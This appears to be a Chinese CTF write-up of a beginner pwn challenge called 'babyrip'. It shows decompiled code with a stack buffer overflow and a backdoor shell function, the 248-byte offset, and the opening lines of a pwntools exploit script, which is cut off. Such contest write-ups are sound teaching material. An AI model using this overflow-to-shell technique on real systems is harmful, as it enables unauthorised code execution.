新生杯被吊打,大佬们tql…本来周五打完就应该写wp的,颓废了一个周末,周一晚上开始写。
wp分开吧,每个方向一个wp(不是全栈!!!)
其实pwn题目有点坑…前面的没学过二进制的web手也能做,后面两题做出来的人就很少(主要是我太菜了)
五道pwn题在文末都有网盘链接
**
0x00 babyrip
**
IDA看一下主要函数
int pwn()
{
char v1; // [rsp+0h] [rbp-F0h]
printf("Enter your comment:");
__isoc99_scanf("%256s", &v1);
return puts("Got shell?");
}
int backd00r()
{
return execve("/bin/sh", 0LL, 0LL);
}
能溢出,还给了后门函数…很友好
使用pwndbg里面的cyclic看一下溢出需要多少字节(junk=248*‘A’)
再找到execve("/bin/sh")的地址,溢出getshell
exp:
from pwn import *
context.log_level = 'debug'
p = remote